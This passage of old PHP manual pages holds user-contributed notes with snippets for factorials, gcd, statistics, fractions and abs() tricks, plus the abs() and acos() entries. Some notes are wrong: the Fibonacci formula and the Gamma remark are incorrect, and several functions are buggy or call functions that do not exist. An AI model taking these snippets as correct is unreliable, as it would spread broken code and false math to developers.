            sort($args);

            $n = count($args);
            $h = intval($n / 2);

            if($n % 2 == 0) {
                $median = ($args[$h] + $args[$h-1]) / 2;
            } else {
                $median = $args[$h];
            }

            break;
    }

    return $median;
}

?>
bjcffnet at gmail dot com 26-Jul-2005 04:57
thearbitcouncil at gmail dot com, you could just use array_sum():
<?php
function average($arr)
{
   if (!is_array($arr)) return false;

   return array_sum($arr)/count($arr);
}

$array = array(5, 10, 15);
echo average($array); // 10
?>
graywh at gmail DELETE dot com 01-Jun-2005 12:48
If you're really concerned about speed, you could compute the factorial of large numbers using the Gamma function of n-1.

Integral y^(t-1)*Exp(-y) for y from 0 to Infinity

For Fibonacci numbers, there's a better-than-recursive way.

((1+sqrt(5))/2)^(n/sqrt(5)) - ((1-sqrt(5))/2)^(n/sqrt(5))
eric at woolhiser dot com 10-Mar-2005 08:41
For all you guys writing mortgage calculators out there:

<?php

function payment($apr,$n,$pv,$fv=0.0,$prec=2){
    /* Calculates the monthly payment rouned to the nearest penny
    ** $apr = the annual percentage rate of the loan.
    ** $n   = number of monthly payments (360 for a 30year loan)
    ** $pv    = present value or principal of the loan
    ** $fv  = future value of the loan
    ** $prec = the precision you wish rounded to
    */
    /****************************************\
    ** No Warranty is expressed or implied. **
    *****************************************/

    if ($apr !=0) {
        $alpha = 1/(1+$apr/12);
        $retval =  round($pv * (1 - $alpha) / $alpha /
        (1 - pow($alpha,$n)),$prec) ;
    } else {
        $retval = round($pv / $n, $prec);
    }
    return($retval);

}
?>
tmpa at yahoo dot com 19-Feb-2005 12:42
while joogat's one line function is short, it is probably better to calculate factorial iteratively instead of recursively. keep in mind if you want large factorials, you'll need to use some sort of arbitrary precision integer or perhaps the BCMath functions. then again, unless you're trying to do large numbers (170! is the highest that you can do that does not return infinity) you probably won't notice any time difference.
<?php
function factorial($in) {
    // 0! = 1! = 1
    $out = 1;

    // Only if $in is >= 2
    for ($i = 2; $i <= $in; $i++) {
        $out *= $i;
    }

    return $out;
}
?>
thearbitcouncil at gmail dot com 06-Jan-2005 02:32
Two functions I didn't find elsewhere... one to compute mean of an array of numbers, and another to computer variance of a sample of numbers. Both take an array of numbers as arguments. Not much error checking, or optimization...

(note: variance function uses the average function...)

<?php

function average($arr)
{
    if (!count($arr)) return 0;

    $sum = 0;
    for ($i = 0; $i < count($arr); $i++)
    {
        $sum += $arr[$i];
    }

    return $sum / count($arr);
}

function variance($arr)
{
    if (!count($arr)) return 0;

    $mean = average($arr);

    $sos = 0;    // Sum of squares
    for ($i = 0; $i < count($arr); $i++)
    {
        $sos += ($arr[$i] - $mean) * ($arr[$i] - $mean);
    }

    return $sos / (count($arr)-1);  // denominator = n-1; i.e. estimating based on sample
                                    // n-1 is also what MS Excel takes by default in the
                                    // VAR function
}

echo variance(array(4,6,23,15,18)); // echoes 64.7...correct value :)

?>
info at gavinvincent dot co dot uk 17-Nov-2004 04:34
If you need to deal with polar co-ordinates for somereason you will need to convert to and from x,y for input and output in most situations: here are some functions to convert cartesian to polar and polar to cartesian
<?
//returns array of r, theta in the range of 0-2*pi (in radians)
function rect2polar($x,$y)
{
     if(is_numeric($x)&&is_numeric($y))
    {
        $r=sqrt(pow($x,2)+pow($y,2));
        if($x==0)
        {
             if($y>0) $theta=pi()/2;
            else $theta=3*pi()/2;
        }
        else if($x<0) $theta=atan($y/$x)+pi();
        else if($y<0) $theta=atan($y/$x)+2*pi();
        else $theta=atan($y/$x);
        $polar=array("r"=>$r,"theta"=>$theta);
        return $polar;
    }
    else return false;
}

//r must be in radians, returns array of x,y
function polar2rect($r,$theta)
{
 if(is_numeric($r)&&is_numeric($theta))
 {
        $x=$r*cos($theta);
    $y=$r*sin($theta);
    $rect=array("x"=>$x,"y"=>$y);
 }
 else
 {
   return false;
 }
}
?>
help at gjbdesign dot com 25-Sep-2004 09:05
Occasionally a user must enter a number in a form. This function converts fractions to decimals and leaves decimals untouched. Of course, you may wish to round the final output, but that is not included here.

<?php
/*Some example values of $q
$q = "2.5";
$q = "2 1/2";
$q = "5/2";
*/
function Deci_Con($q){
//check for a space, signifying a whole number with a fraction
    if(strstr($q, ' ')){
        $wa = strrev($q);
        $wb = strrev(strstr($wa, ' '));
        $whole = true;//this is a whole number
    }
//now check the fraction part
    if(strstr($q, '/')){
        if($whole==true){//if whole number, then remove the whole number and space from the calculations
              $q = strstr($q, ' ');
        }
$b = str_replace("/","",strstr($q, '/'));//this is the divisor
//isolate the numerator
$c = strrev($q);
$d = strstr($c, '/');
$e = strrev($d);
$a = str_replace("/","",$e);//the pre-final numerator
        if($whole==true){//add the whole number to the calculations
            $a = $a+($wb*$b);//new numerator is whole number multiplied by denominator plus original numerator
        }
$q = $a/$b;//this is now your decimal
return $q;
    }else{
        return $q;//not a fraction, just return the decimal
    }
}?>
donnieb819 at hotmail dot NOSPAM dot com 16-Sep-2004 05:58
Method to convert an arbitrary decimal number to its most reduced fraction form (so a string is returned, this method would probably be used for output formatting purposes.)  There were other methods similar to this one on the page, but none did quite what I wanted.  It's maybe not the most elegant code, but it gets the job done.  Hope this helps someone.  An iterative form of Euclid's algorithm is used to find the GCD.

<?php
function dec2frac( $decimal )
{
  $decimal = (string)$decimal;
  $num = '';
  $den = 1;
  $dec = false;

  // find least reduced fractional form of number
  for( $i = 0, $ix = strlen( $decimal ); $i < $ix; $i++ )
  {
    // build the denominator as we 'shift' the decimal to the right
    if( $dec ) $den *= 10;

    // find the decimal place/ build the numberator
    if( $decimal{$i} == '.' ) $dec = true;
    else $num .= $decimal{$i};
  }
  $num = (int)$num;

  // whole number, just return it
  if( $den == 1 ) return $num;

  $num2 = $num;
  $den2 = $den;
  $rem  = 1;
  // Euclid's Algorithm (to find the gcd)
  while( $num2 % $den2 ) {
    $rem = $num2 % $den2;
    $num2 = $den2;
    $den2 = $rem;
  }
  if( $den2 != $den ) $rem = $den2;

  // now $rem holds the gcd of the numerator and denominator of our fraction
  return ($num / $rem ) . "/" . ($den / $rem);
}
?>

Examples:
echo dec2frac( 10 );
echo dec2frac( .5 );
echo dec2frac( 5.25 );
echo dec2frac( .333333333 );

yields:
10
1/2
21/4
333333333/1000000000
pat.mat AT sympatico DOT com 08-Jun-2004 07:36
For people interest in Differential Equations, I've done a function that receive a string like: x^2+x^3 and put it in
2x+3x^2 witch is the differantial of the previous equation.

In the code there is one thing missing: the $string{$i} is often going outOfBound (Uninitialized string offset: 6 in...)
if your error setting is set a little too high... I just dont know how to fix this.

So there is the code for differential equation with (+ and -) only:

<?
function differentiel($equa)
{
    $equa = strtolower($equa);
    echo "Equation de depart: ".$equa."<br>";
    $final = "";

    for($i = 0; $i < strlen($equa); $i++)
    {
        //Make a new string from the receive $equa
        if($equa{$i} == "x" && $equa{$i+1} == "^")
        {
            $final .= $equa{$i+2};
            $final .= "x^";
            $final .= $equa{$i+2}-1;
        }
        elseif($equa{$i} == "+" || $equa{$i} == "-")
        {
            $final .= $equa{$i};
        }
        elseif(is_numeric($equa{$i}) && $i == 0)
        {
            //gerer parenthese et autre terme generaux + gerer ^apres: 2^2
            $final .= $equa{$i}."*";
        }
        elseif(is_numeric($equa{$i}) && $i > 0 && $equa{$i-1} != "^")
        {
            //gerer ^apres: 2^2
            $final .= $equa{$i}."*";
        }
        elseif($equa{$i} == "^")
        {
            continue;
        }
        elseif(is_numeric($equa{$i}) && $equa{$i-1} == "^")
        {
            continue;
        }
        else
        {
            if($equa{$i} == "x")
            {
                $final .= 1;
            }
            else
            {
                $final .= $equa{$i};
            }
        }
    }
    //
    //Manage multiplication add in the previous string $final
    //
    $finalMul = "";
    for($i = 0; $i < strlen($final); $i++)
    {
        if(is_numeric($final{$i}) && $final{$i+1} == "*" && is_numeric($final{$i+2}))
        {
            $finalMul .= $final{$i}*$final{$i+2};
        }
        elseif($final{$i} == "*")
        {
            continue;
        }
        elseif(is_numeric($final{$i}) && $final{$i+1} != "*" && $final{$i-1} == "*")
        {
            continue;
        }
        else
        {
            $finalMul .= $final{$i};
        }
    }
    echo "equa final: ".$finalMul;
}
?>

I know this is not optimal but i've done this quick :)
If you guys have any comment just email me.
I also want to do this fonction In C to add to phpCore maybe soon...
Patoff
moc.erawtfostym@evad 26-May-2004 07:04
The fastest O(1) factorial function has a lookup table of all the factorials that fit within the output range. With an array of the first 34 (float) or 170 (double) factorials, you get identical results in a fraction of the time.
churkl at hotmail dot com 26-May-2004 01:32
Here is my factorial function which i think is very simple and without any confusion. email me comments if you like if i had something wrong.

<?php
function factorial($number)
{
    $temp = 1;
    while ($number > 1){
        $temp *= $number--;
    }
    return $temp;
}
?>
ausvald at tut dot by 30-Apr-2004 05:48
I see there are some factorial functions below.

I'll provide the best one:

<?
function factorial($n){ $n=(int)$n;
  $f=1;
  for(;$n>0;--$n) $f*=$n;
  return $f;
}
?>
florian at shellfire dot de 28-Apr-2004 02:48
Please note that shorter is not always better
(meaning that really short faculty implementation above).

In my opinion, a clearer way to code this is, including a check
for negative or non-integer values.

In order to calculate the faculty of a positive integer,
an iterative way (which might be harder to understand)
is usually a bit faster, but I am using it only for small
values so it is not really important to me:

<?php

    // Calculate the Faculty of a positive int-value
    function iFaculty($a_iFac)
    {
      if ($a_iFac > 0)
      {
          return $a_iFac * $this->iFaculty($a_iFac - 1);
      }
      elseif ($a_iFac == 0)
      {
          return 1;
      }
      else
      {
          return 0;  // Wrong argument!
      }
    }
?>

I've also written another function to calculate the
binomial coefficient of 2 values, I didn't find it anywhere yet so I hope it might help someone (works fine with the above stated faculty-function and ready to be used inside of your own classes!)

<?php

    // calculates the binomial coefficient "n over k" of 2 positive int values
    // for n >= k
    function iBinCoeff($a_iN, $a_iK)
    {
        // the binomial coefficient is defined as n! / [ (n-k)! * k! ]
        return $this->iFaculty($a_iN) / ($this->iFaculty($a_iN - $a_iK) * $this->iFaculty($a_iK));
    }

?>
Chronial "at" cyberpunkuniverse.de 13-Jan-2004 01:47
Here are are a nPr and a nPc function
(had to define NaN - don't know, how to this the "rigth" way)

<?php
define (NaN,acos(1.01));

function nCr($n,$r){
   if ($r > $n)
      return NaN;
   if (($n-$r) < $r)
      return nCr($n,($n-$r));
   $return = 1;
   for ($i=0;$i < $r;$i++){
      $return *= ($n-$i)/($i+1);
   }
   return $return;
}

function nPr($n,$r){
   if ($r > $n)
      return NaN;
   if ($r)
      return $n*(nPr($n-1,$r-1));
   else
      return 1;
}
?>
chris at free-source dot com 07-Oct-2003 09:37
to "convert" scientific notation to a float simply cast it:
<?php
$val = '3.5e4';
$val = (float) $val;
echo $val;
?>

output:
35000
jl85 at yahoo dot com 05-Oct-2003 04:00
Here's yet another greatest common denominator (gcd) function, a reeeeally small one.

function gcd($n,$m){
if(!$m)return$n;return gcd($m,$n%$m);
}

It works by recursion. Not really sure about it's speed, but it's really small! This won't work on floating point numbers accurately though. If you want a floating point one, you need to have at least PHP 4, and the code would be

function gcd($n,$m){
if(!$m)return$n;return gcd($m,fmod($n,$m));
}
fabien_mornand at yahoo dot fr 30-Sep-2003 03:46
here is an algorithm to calculate gcd of a number. This is Euclid algorithm i was studying in Maths. I've converted it in php for the fun.

<?php
 if($a && $b)
  { $ax=$a; $bx=$b;
   $r=fmod($a,$b);
  if(!$r){$rx=$r;}
   while($r){
    $rx=$r;
    $a=$b;
    $b=$r;
    $r=fmod($a,$b);
    }
   }
echo 'PGCD ('.$ax.' , '.$bx.' ) = '.$rx;
?>
jordanolsommer at imap dot cc 27-Aug-2003 08:07
The reason the bitwise AND ("&") operator works to determine whether a number is odd or even is because odd numbers expressed in binary always have the rightmost (2^0) bit = 1 and even numbers always have the 2^0 bit = 0.

So if you do a " 1 & $num", it will return zero if the number is even (since xxxxxxx0 [the even number in binary] and 00000001 [the 1]) don't share any bits, and will return 1 if the number is odd (xxxxxx1 and 000001).

a clever way of doing things, but $num % 2 would work as well i think :).
matthew_gaddis at yahoo dot com 24-Apr-2003 02:23
Here is a cleaner factorial function:

function factorial($s){
    if($s) $r = $s * factorial($s - 1);
    else $r = 1;
    return $r;
}
jerry dot wilborn at fast dot net 16-Apr-2003 11:10
Here is how to calculate standard deviation in PHP where $samples is an array of incrementing numeric keys and the values are your samples:

$sample_count = count($samples);

for ($current_sample = 0; $sample_count > $current_sample; ++$current_sample) $sample_square[$current_sample] = pow($samples[$current_sample], 2);

$standard_deviation = sqrt(array_sum($sample_square) / $sample_count - pow((array_sum($samples) / $sample_count), 2));
jl85 at yahoo dot com 22-Feb-2003 08:04
Theres another faster way of doing even/odd number checking by using bitwise operators. Don't ask me how it works, I just found this out by experimenting with it (could the editor possibly explain?)

if ((1&$num)) {
 echo "$num is odd";
}

if (!(1&$num)) {
 echo "$num is even";
}

How it works is (1&$num) returns a 1 for odd numbers and returns 0 when it's an even number.
php at casaforge dot com (Hal) 31-Jan-2003 05:25
This might be useful in generating fractional numbers for construction, if only because most carpenters would rather put a nail in your foot than hear about any number that ends with .8125".

Since I couldn't figure out the fraction code above, this is my simple-minded take on the problem. Also, align by "char" doesn't seem to work yet in html, so it seems necessary to use tables (egad!) to make numbers align properly. The following code illustrates a way to make a dynamically sized table with aligned fractions from an array of random numbers. Since I don't care about fractions less than 1/16, this rounds them into oblivion. Also, it sorts the list from long to short and collates multiples in the array. One bit of cleverness here (gleaned from these pages) that might not be obvious: I'm using 1 *bitwise and* (1 &) to determine odd numbers.

If you copy and paste the following code, try refreshing the page a few times to see how the table adjusts itself.

<?php

// get some numbers to play with

$x = rand(0,130000)/10;
$y = rand(0,1200);
$z = rand(0,4)/64;
$array = array($x, $x, $x, $y, $y, $z, 324.19, 425/7, sqrt(2), pi(), pi());

// functions

function mult($n) { return intval (round ($n*16)); }

function frac($num) { $mod = fmod ($num,1)*16;
if (1 & $mod) { return " - ".$mod."/16"; }
else $mod = $mod/2;
if (1 & $mod) { return " - ".$mod."/8"; }
else $mod = $mod/2;
if (1 & $mod) { return " - ".$mod."/4"; }
else $mod = $mod/2;
if (1 & $mod) {return " - ".$mod."/2";}
}

// make a table

echo '<table>';
$array = array_map("mult", $array);
$array = (array_filter($array, strval)); //get rid of zeros
$array = (array_count_values ($array));
krsort ($array);
while (list ($key, $val) = each ($array)) {
$key = $key/16;
echo "<tr><td>$val</td><td>&nbsp; @ &nbsp;</td><td align=\"right\">".intval($key)." </td><td> ".frac($key)." </td></tr>";
}
echo '</table>';

?>
nazgul26 (at_sign) windfox dot net 08-Dec-2002 02:58
This code will convert a decimal to it's fraction equivalent. The precision can be set by changing PRECISION.

<?php
define(PRECISION, .01);

$count=0;
$result=array();
decimalToFraction($_REQUEST['dec'],$count,&$result);
$count = count($result);
$simp_fract = simplifyFraction($result,$count,1,$result[$count]);

echo $simpl_fract;

// Start of functions

/*
   Converts a decimal to unsimplified fraction represented in an array
*/
function decimalToFraction($decimal,$count,$result) {
    $a = (1/$decimal);
    $b = ( $a - floor($a)  );
    $count++;
    if ($b > .01 && $count <= 5) decimalToFraction($b,$count,&$result);
    $result[$count] = floor($a);
}

/*
    Simplifies a fraction in an array form that is returned from
    decimalToFraction
*/
function simplifyFraction($fraction,$count,$top,$bottom) {
    $next = $fraction[$count-1];
    $a = ($bottom * $next) + $top;
    $top = $bottom;
    $bottom = $a;
    $count--;
    if ($count > 0) simplifyFraction($fraction,$count,$top,$bottom);
    else {
        return "<font size=1>$bottom/$top</font>";
    }
}
?>
jbeardsl at gte dot net 09-Nov-2002 10:36
I needed a truncate function to operate on real numbers. I preferred not to use a string-manipulation method, so here's my solution. HTH...

function truncate ($num, $digits = 0) {

    //provide the real number, and the number of
    //digits right of the decimal you want to keep.

    $shift = pow(10 , $digits);
    return ((floor($num * $shift)) / $shift);

}
jbeardsl [found_at] gte [d0t] net 08-Nov-2002 01:15
I was looking for a truncate function. Not finding one, I wrote my own. Since it deals with everything as a number, I imagine it's faster than the alternative of using string functions. HTH...

<?php
function truncate ($num, $digits = 0) {

    //provide the real number, and the number of
    //digits right of the decimal you want to keep.

    $shift = pow(10, $digits);
    return ((floor($num * $shift)) / $shift);
}
?>
patience at worldonline dot nl 05-Aug-2002 09:08
The example for Factorials given above is wrong. Here a correct version, so that you do not have to reinvent the wheel again...

<?php
function mathFact( $s )
{
  $r = (int) $s;

  if ( $r < 2 )
    $r = 1;
  else {
    for ( $i = $r-1; $i > 1; $i-- )
      $r = $r * $i;
  }

  return( $r );
}
?>
shanx at shanx dot com 08-Jul-2002 01:13
<?

/**
 * Function to calculate base36 values from a number. Very
 * useful if you wish to generate IDs from numbers.
 *
 * @param $value The number
 * @param $base The base to be applied (16, 36 or 64)
 * @return The calculated string
 * @author Shashank Tripathi (shanx@shanx.com)
 * @version 0.1 - Let me know if something doesnt work
 *
 */

function base36($value, $base)
{
    $baseChars = array('0', '1', '2', '3', '4', '5',
                       '6', '7', '8', '9', 'a', 'b',
                       'c', 'd', 'e', 'f', 'g', 'h',
                       'i', 'j', 'k', 'l', 'm', 'n',
                       'o', 'p', 'q', 'r', 's', 't',
                       'u', 'v', 'w', 'x', 'y', 'z'
                     );

    $remainder = 0;
    $newval = "";

    while ( $value > 0 )
    {
        $remainder = $value % $base;
        $value = ( ($value - $remainder)/ $base );
        $newval .= $baseChars[$remainder];
    }
    return strrev($newval);

}

echo "The string for 46655, for instance, is " . base36(46655, 36);

?>
webkid%webkid.com 31-May-2002 03:54
And the reason I needed a Factorial function is because I there were no nPr or nCr functions native to PHP, either.

function n_pick_r($n,$r){$n=(int)$n; $r=(int)$r;return (fact($n)/fact($n-$r));}
function n_choose_r($n,$r){$n=(int)$n; $r=(int)$r;return (n_pick_r($n,$r)/fact($r));}

Hope that helps someone!
webkid%webkid.com 31-May-2002 03:49
I found it kind of irritating that PHP had no native functionality for a calculating Factorials. Since I really didn't feel like loading the GMP library, I figured I'd write my own function.

function fact($s){$r=(int)$s; for ($i=$r;$i--;$i>1){$r=$r*$i;} return $r;}

I think that's right... I havn't tested it extensively but it should work.
cornelius at skjoldhoej dot dk 12-Jun-2001 02:03
I found that when dealing with tables, a 'least common multiple' function is sometimes useful for abusing tablespan and the likes.

So here goes (you may choose to remove the first part of the gcd function if the function call is well-behaved):

<?php
function gcd(n, m) //greatest common divisor
{
    n=abs(n); m=abs(m);
    if (n==0 and m==0)
        return 1; //avoid infinite recursion
    if (n==m and n>=1)
        return n;
    return m<n?gcd(n-m,n):gcd(n,m-n);
}

function lcm(n, m) //least common multiple
{
    return m*(n/gcd(n,m));
}
?>

This may or may not be something to consider adding to the mathematical function library.
ian at mp3 dot com 19-Feb-2001 03:43
for those looking for a credit card verification function i wrote a simple LUHN Formula algorithm:

<?php
$valid = 1;

$numOfDigits = 0 - strlen($ccNumber);

$i = -1;
while ($i>=$numOfDigits){
  if (($i % 2) == 0){
    $double = 2*(substr($ccNumber, $i, 1));
    $total += substr($double,0,1);
    if (strlen($double > 1)){
      $total += substr($double,1,1);
    }
  } else {
    $total += substr($ccNumber, $i, 1);
  }
  $i--;
}

if (($total % 10) != 0){
  $valid = 0;
}
?>
cathody at mail dot ru 10-Aug-2000 07:55
Converting non-standard form:

you can use something like this:

<?php
$v=0.3e-9;
$v=sprintf ( "%2.9f", $v);
?>
Predefined Constants
abs
Math


Absolute value

Math Functions
acos
Math Functions
PHP Manual

abs

(PHP 4, PHP 5)

abs — Absolute value

Description

number abs ( mixed $number )

Returns the absolute value of number.

Parameters

number

The numeric value to process

Return Values

The absolute value of number. If the argument number is of type float, the return type is also float, otherwise it is integer (as float usually has a bigger value range than integer).

Examples

Example #1 abs() example

<?php
$abs = abs(-4.2); // $abs = 4.2; (double/float)
$abs2 = abs(5);   // $abs2 = 5; (integer)
$abs3 = abs(-5);  // $abs3 = 5; (integer)
?>

See Also

  • gmp_abs() - Absolute value
  • gmp_sign() - Sign of number

User Contributed Notes

alex dot griffioen at gmail dot com 06-Jan-2012 06:45
Easy way to toggle a bit using abs():

<?php
$flag = 1; // either 0 or 1
$flag = abs($flag - 1);
?>
Tig 08-Oct-2011 03:23
If doing a single conversion to ">= 0" on a random input, in order to workout the value of the input (corrected to 0 or greater), the quickest method is:

$x = abs($input);

After a bit more testing and thinking about how the test page (in the post below) works, it appears the results are correct, but _only_ when looping over the different methods for a lot of loops. For a single test or correction, the results are wrong.

The results for option 1 and 3 are very close to each other, but option 2 is clearly the quickest of the three.

After removing the loops, the results where:

1) Result [938]: 1.5974044799805E-5 sec.
2) Result [938]: 5.9604644775391E-6 sec.
3) Result [938]: 1.5020370483398E-5 sec.

(note the E-5 and E-6 at the end)
Tig 04-Oct-2011 05:13
In trying to workout the fastest way to return a number equal to or great than 0 from any input, with < 0 turned positive as well, these are my results and how I tested:

Fastest method:
$x = floor($input);
$x = ($x < 0) ? ($x * -1) : $x;

With ?n=987 passed
1) Result [987]: 0.020493030548096 sec.
2) Result [987]: 0.072222948074341 sec.
3) Result [987]: 0.23027300834656 sec.

With ?n=-821
1) Result [821]: 0.023087024688721 sec.
2) Result [821]: 0.073657035827637 sec.
3) Result [821]: 0.24681091308594 sec.

With ?n=foo
1) Result [0]: 0.020076990127563 sec.
2) Result [0]: 0.065827131271362 sec.
3) Result [0]: 0.17472290992737 sec.

Also works with nothing passed.

The test page code:
<?php

    // test 1
    $start = microtime(true);
    $x = floor($_GET['n']);
    $i = 0;
    do {
        $tmp = ($x < 0) ? ($x * -1) : $x;
    } while($i++ < 100000);
    $end = microtime(true);
    echo '1) Result ['.$tmp.']: '.($end - $start).' sec.<br />';

    // test 2
    $start = microtime(true);
    $x = $_GET['n'];
    $i = 0;
    do {
        $tmp = abs($x);
    } while($i++ < 100000);
    $end = microtime(true);
    echo '2) Result ['.$tmp.']: '.($end - $start).' sec.<br />';

    // test 3
    $start = microtime(true);
    $x = floor($_GET['n']);
    $i = 0;
    do {
        $tmp = str_replace('-','',$x);
    } while($i++ < 100000);
    $end = microtime(true);
    echo '3) Result ['.$tmp.']: '.($end - $start).' sec.<br />';

?>
svein dot tjonndal at gmail dot com 25-May-2011 12:44
If you don't have/want GMP and are working with large numbers/currencies:

<?php
function mb_abs($number)
{
  return str_replace('-','',$number);
}
?>

No need to worry about encoding, as your numbers should all be basic (ANSI) strings.
lkj dot korn at gmail dot com 01-Aug-2008 09:58
[EDIT by danbrown AT php DOT net: Merged two posts by the same author.]

This is a note to concordia's comment at http://us.php.net/manual/en/function.abs.php#58508
I believe there is an easier way to turn a positive number into a negative one and vice versa in one line:
<?php
function change_pol($integer){
    return (0 - $integer);
}
?>

It takes another additional line to check if it's really a number:
<?php
function change_pol($integer){
    if(!is_numeric($integer)){ return false; }
    return (0 - $integer);
}
?>
Keep in mind that if I do 0 - -5 (given that $integer is -5), it will turn into +, thus turning the result into +5. Works like a charm for me. Input like '-5' will work as well (as PHP turns strings automatically into an integer or float), even '-.9' will return as 0.9.

Another thing I'd like to note is that the variable name $integer used in my examples aren't really advised as the function goes beyond simple integers. Initially, I used this function only for the handling of integers, hence the variable name. It is only later that I've discovered it goes beyond integers. 0 will also return to 0 (if that shouldn't be obvious).

Perhaps it is better to make it return NULL instead of FALSE when it fails the is_numeric condition, so that there's no mix with the function's result to be false instead of actually 0, however only checking with '===' instead of '==' should solve this, I believe.
Ister 17-Jul-2008 01:59
[*EDIT* by danbrown AT php DOT net: Merged user's corrected code with previous post content.]

jeremys indicated one thing - there is no sgn function wich actually seems a bit strange for me. Of course it is as simple as possible, but it is usefull and it is a standard math function needed occasionally.

Well, I have solved this function in a bit different matter:

<?php

function sgn($liczba)
{
    if($liczba>0)
        $liczba=1;
    else if($liczba<0)
        $liczba=-1;
    else if(!is_numeric($liczba))
        $liczba=null;
    else
        $liczba=0;
    return $liczba;
}

?>

The difference is that it returns null when the argument isn't a number at all.
zyphos at zyphos dot be 18-Jun-2008 01:15
I think there are faster methods for doing an on/off.

$value = (1 - $value);

or better:

$value = (1 ^ $value); // which uses the xor function.

Below are the benchs on my computer, for loop of 10,000,000 with PHP Version 5.2.1

$value = abs($value -1); // 4.12641406059 sec
$value = (1 - $value); // 1.58847904205 sec
$value =  (1 ^ $value); // 1.49518704414 sec

Note that using function call for such operation is very slow.
function on_off($value) {
 return (1 ^ $value);
} // 7.10739612579 sec
olivierlabbe at votreespace dot net 11-Jun-2008 11:35
making an on/off switch with 0 and 1

function on_off($value) {
 return abs($value -1);
}

if you send 0, it'll return 1, and 1 return 0.

0 - 1 = -1, absolute of -1 = 1
1 - 1 = 0, absolute of 0 = 0
estoesunapija at hotmail dot com 26-Mar-2008 02:29
//Not for working with float
//anyways, seems cool for integers
//This works, iff is_int($num)

function nabs ($num=NULL){
   $num = (int)$num;
   if ($num<=0) return 0; //why bother bit flipping with 0
   return ~$num + 1;
}
thomas at tgohome dot com 29-Dec-2007 03:00
If we want to into a war about speed with negative absolute numbers, I think bitwise operations should just about do it.

<?php
function n_abs($v) { return ~abs($v) + 1; }
?>

A NOT operation on any number with a sign bit will produce the negative of that number minus one. All we need to do is add one. Voila!

Speed test results (30000 iterations of various methods) produced very close dueling between the previous suggested method. Although I am on an overloaded Windows PC so I'm no benchmark, and I'll leave it up to you, the reader of this message.
Josh 07-Jan-2006 04:06
Let's say you are resizing images to a standard size that can be expressed as a ratio (width/height). The problem I came into was that I wanted to be reasonable with the proportion of the images that my customer is uploading (couldn't we all use a little less horizontal on pictures?), but I wanted to reject the horizontal pictures when they were uploading vertical ones. So I wanted to accept proportions of images that were within a reasonable threshold (+ or -) of what I will be resizing them to.

Assuming a standard of 1 to 4 (0.25) and a threshold of no more than 0.05 deviation, then the number 0.30 and 0.20 would return true and 0.19 would return false.

<?php

function threshold($given,$thresh,$standard)
{
     return (abs($given-$standard)<=$thresh) ? true : false;
}

?>
jeremys at hang dash wire dot com 12-Dec-2005 08:05
I'm unable to replicate concordia's problem with the $n = $n - $n * 2 code.  I agree with the simplification to $n *= -1.  But there's no reason that concordia's code should return 6 for the value -2, and it doesn't appear to.  When I tried it, PHP returned 2, as it should.  If PHP were somehow flipping the sign of integers randomly, that would be a *major* bug!

There doesn't seem to be a sgn() function yet.  Here's some quick code to do it:

function sgn($x) {
   return $x ? ($x>0 ? 1 : -1) : 0;
}

You could use $x ? abs($x)/$x : 0 too, but might as well avoid the float division.
Lazarus 12-Dec-2005 06:53
Even that is unnecessarily complex. Try this:

<?php

function n_abs($v) { return -abs($v) ; }

?>

Faster too.
rdk 10-Nov-2005 11:04
concordia, you seem to be overcomplicating matters.  If you want to do the reverse of the abs function, the only code required is:

<?php

function n_abs($num) {
    return ($num > 0) ? $num * -1 : $num;
}

n_abs(2); //-2
n_abs(-2); //-2

?>

If you want to switch the sign bit of a number, as your example seems to indicate...
turn_neg (2); // -2
turn_neg (-2); // 2
...you just need to do $num *= -1;

Your function also doesn't seem to work. Switching "if (is_neg ($num))" to "if (!is_neg ($num))" would make it function as indicated by your comments (i.e. toggle the sign bit), but it would still be overly complicated.
alreece45 at yahoo dot com 10-Aug-2005 12:05
Both of the below codes were wrong.

<?php

// Check to see if $range is numberic, if not, set it to the integer value 1

if(!is_numeric($range)) {

 $range=1;

}

// Check to see if $range is an integer and not a float. Use is_int() and not int().

if(!is_int($range)) {

// Make it an integer. Use intval() here, not int_val.

 $range=intval($range);

}

$range=abs($range);

?>

The only thing I don't get is why we have to check before doing the functions. Whether or not we do the functions it will give us what we want. The only check I really understand being there is the one that sets it to one.

Why not just do:

<?php

// If $range is numberic, make it in positive integer, otherwise, make it one.

$range = is_numeric($range) ? abs(intval($range)) : 1;

?>

Seems like a lot less code. Or If you prefer to stay with if statements:

<?php

if(is_numberic($range)) {

 // If $range is numberic, make it in positive integer.

 $range = abs(intval($range));

}

else {

 //otherwise, make it one.

 $range = 1;

}

?>

Both ways seem smaller to me.
abodeman at y a h o o 24-May-2004 05:59
There's another problem in the below code. The correct function to see whether a value is an integer is is_int(), not int(), so the code should look like this:

<?php
if(!is_numeric($range))//checks for numeric input
{
$range=1;
}//sets $range to integer 1 if input is anything other than a numeric value
if(!is_int($range))//checks to make sure it is an integer (not decimal)
{
$range=int_val($range);
}//if a decimal- sets $range to integer value
$range=abs($range);//sets value to positive whole number
?>
mbender at duforu dot com 01-Mar-2004 01:59
In reference to the previous code sample the int_val function is actually intval() [http://us4.php.net/manual/en/function.intval.php]:

<?php
if(!is_numeric($range))//checks for numeric input
 {
  $range=1;
 } //sets $range to integer 1 if input is anything other than a numeric value
if(!int($range))//checks to make sure it is an integer (not decimal)
 {
 $range=intval($range) // not ->  int_val($range);
 }//if a decimal- sets $range to integer value
$range=abs($range);//sets value to positive whole number
?>
bgustin AT trukfixer DOT com 16-Jul-2003 08:50
assume we take user input from a form untreated and assign it to variable $range. We want to be sure this number is a Positive Whole number, since abs() just sets a number to positive or 0, and we dont want decimals...

<?php
if(!is_numeric($range))//checks for numeric input
{
$range=1;
}//sets $range to integer 1 if input is anything other than a numeric value
if(!int($range))//checks to make sure it is an integer (not decimal)
{
$range=int_val($range);
}//if a decimal- sets $range to integer value
$range=abs($range);//sets value to positive whole number
?>

for example the input "testing" would return $range =1,
the input "3.578" would return value=3
If the input is null, I am havent tested to see if it gets set to 1 courtesy of int_val or not, but I believe it will be.

I'm sure there's probably a more elegant way to do this using regex, however for an apprentice php coder, this might be a little easier to understand and use.
Math Functions
acos
Math Functions


Arc cosine

abs
acosh
Math Functions
PHP Manual

acos

(PHP 4, PHP 5)

acos — Arc cosine

Description

float acos ( float $arg )

Returns the arc cosine of arg in radians. acos() is the complementary function of cos(), which means that a==cos(acos(a)) for every value of a that is within acos()' range.

Parameters

arg

The argument to process

Return Values

The arc cosine of arg in radians.

See Also

  • cos() - Cosine
  • acosh() - Inverse hyperbolic cosine
  • asin() - Arc sine
  • atan() - Arc tangent

User Contributed Notes

anthony at interiorgoodsdirect dot com 05-Dec-2007 05:28
To calculate an angle from a triangle's sides.

